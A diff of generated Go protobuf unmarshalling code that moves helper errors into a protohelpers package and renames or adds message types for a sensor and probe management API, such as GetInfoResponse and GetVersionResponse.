@@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3768,11 +4832,11 @@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3781,12 +4845,12 @@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3801,7 +4865,7 @@ func (m *RemoveSensorRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *RemoveSensorResponse) UnmarshalVT(dAtA []byte) error { +func (m *DisableSensorResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3809,7 +4873,7 @@ func (m *RemoveSensorResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3824,20 +4888,20 @@ func (m *RemoveSensorResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: RemoveSensorResponse: wiretype end group for non-group") + return fmt.Errorf("proto: DisableSensorResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: RemoveSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: DisableSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3852,7 +4916,7 @@ func (m *RemoveSensorResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { +func (m *GetVersionRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3860,7 +4924,7 @@ func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3875,20 +4939,71 @@ func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: EnableSensorRequest: wiretype end group for non-group") + return fmt.Errorf("proto: GetVersionRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: EnableSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetVersionRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetVersionResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetVersionResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Version", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3902,25 +5017,25 @@ func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = string(dAtA[iNdEx:postIndex]) + m.Version = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3935,7 +5050,7 @@ func (m *EnableSensorRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *EnableSensorResponse) UnmarshalVT(dAtA []byte) error { +func (m *GetInfoRequest) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3943,7 +5058,7 @@ func (m *EnableSensorResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3958,20 +5073,20 @@ func (m *EnableSensorResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: EnableSensorResponse: wiretype end group for non-group") + return fmt.Errorf("proto: GetInfoRequest: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: EnableSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetInfoRequest: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3986,7 +5101,7 @@ func (m *EnableSensorResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { +func (m *GetInfoResponse_Probe) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -3994,7 +5109,7 @@ func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4009,10 +5124,10 @@ func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: DisableSensorRequest: wiretype end group for non-group") + return fmt.Errorf("proto: GetInfoResponse_Probe: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: DisableSensorRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetInfoResponse_Probe: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -4022,7 +5137,7 @@ func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4036,76 +5151,61 @@ func (m *DisableSensorRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - default: - iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) - if err != nil { - return err + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF + if msglen < 0 { + return protohelpers.ErrInvalidLength } - m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *DisableSensorResponse) UnmarshalVT(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength } - if iNdEx >= l { + if postIndex > l { return io.ErrUnexpectedEOF } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break + if m.Enabled == nil { + m.Enabled = &wrapperspb.BoolValue{} } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: DisableSensorResponse: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: DisableSensorResponse: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { + if err := (*wrapperspb.BoolValue)(m.Enabled).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4120,7 +5220,7 @@ func (m *DisableSensorResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *GetStackTraceTreeRequest) UnmarshalVT(dAtA []byte) error { +func (m *GetInfoResponse_ConfVal) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -4128,7 +5228,7 @@ func (m *GetStackTraceTreeRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4143,20 +5243,20 @@ func (m *GetStackTraceTreeRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: GetStackTraceTreeRequest: wiretype end group for non-group") + return fmt.Errorf("proto: GetInfoResponse_ConfVal: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: GetStackTraceTreeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetInfoResponse_ConfVal: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4168,27 +5268,63 @@ func (m *GetStackTraceTreeRequest) UnmarshalVT(dAtA []byte) error { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Value", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength } - postIndex := iNdEx + intStringLen + postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = string(dAtA[iNdEx:postIndex]) + if m.Value == nil { + m.Value = &anypb.Any{} + } + if err := (*anypb.Any)(m.Value).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4203,7 +5339,7 @@ func (m *GetStackTraceTreeRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *GetStackTraceTreeResponse) UnmarshalVT(dAtA []byte) error { +func (m *GetInfoResponse_BuildInfo) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -4211,7 +5347,7 @@ func (m *GetStackTraceTreeResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4226,107 +5362,148 @@ func (m *GetStackTraceTreeResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: GetStackTraceTreeResponse: wiretype end group for non-group") + return fmt.Errorf("proto: GetInfoResponse_BuildInfo: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: GetStackTraceTreeResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetInfoResponse_BuildInfo: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Root", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field GoVersion", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { - return ErrInvalidLength + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - if m.Root == nil { - m.Root = &StackTraceNode{} + m.GoVersion = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Commit", wireType) } - if err := m.Root.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } } - iNdEx = postIndex - default: - iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) - if err != nil { - return err + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength } - if (iNdEx + skippy) > l { + if postIndex > l { return io.ErrUnexpectedEOF } - m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *GetVersionRequest) UnmarshalVT(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow + m.Commit = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Time", wireType) } - if iNdEx >= l { + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { return io.ErrUnexpectedEOF } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break + m.Time = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Modified", wireType) } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: GetVersionRequest: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: GetVersionRequest: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Modified = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4341,7 +5518,7 @@ func (m *GetVersionRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { +func (m *GetInfoResponse) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -4349,7 +5526,7 @@ func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4364,10 +5541,10 @@ func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: GetVersionResponse: wiretype end group for non-group") + return fmt.Errorf("proto: GetInfoResponse: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: GetVersionResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: GetInfoResponse: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: @@ -4377,7 +5554,7 @@ func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4391,25 +5568,161 @@ func (m *GetVersionResponse) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.Version = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Probes", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Probes = append(m.Probes, &GetInfoResponse_Probe{}) + if err := m.Probes[len(m.Probes)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Conf", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Conf = append(m.Conf, &GetInfoResponse_ConfVal{}) + if err := m.Conf[len(m.Conf)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Build", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Build == nil { + m.Build = &GetInfoResponse_BuildInfo{} + } + if err := m.Build.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4432,7 +5745,7 @@ func (m *DumpProcessCacheReqArgs) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4460,7 +5773,7 @@ func (m *DumpProcessCacheReqArgs) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4480,7 +5793,7 @@ func (m *DumpProcessCacheReqArgs) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4495,12 +5808,12 @@ func (m *DumpProcessCacheReqArgs) UnmarshalVT(dAtA []byte) error { m.ExcludeExecveMapProcesses = bool(v != 0) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4523,7 +5836,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4551,7 +5864,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4564,11 +5877,11 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4587,7 +5900,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4601,11 +5914,11 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4619,7 +5932,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4632,11 +5945,11 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4644,16 +5957,8 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { if m.Refcnt == nil { m.Refcnt = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Refcnt).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Refcnt); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Refcnt).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -4663,7 +5968,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ 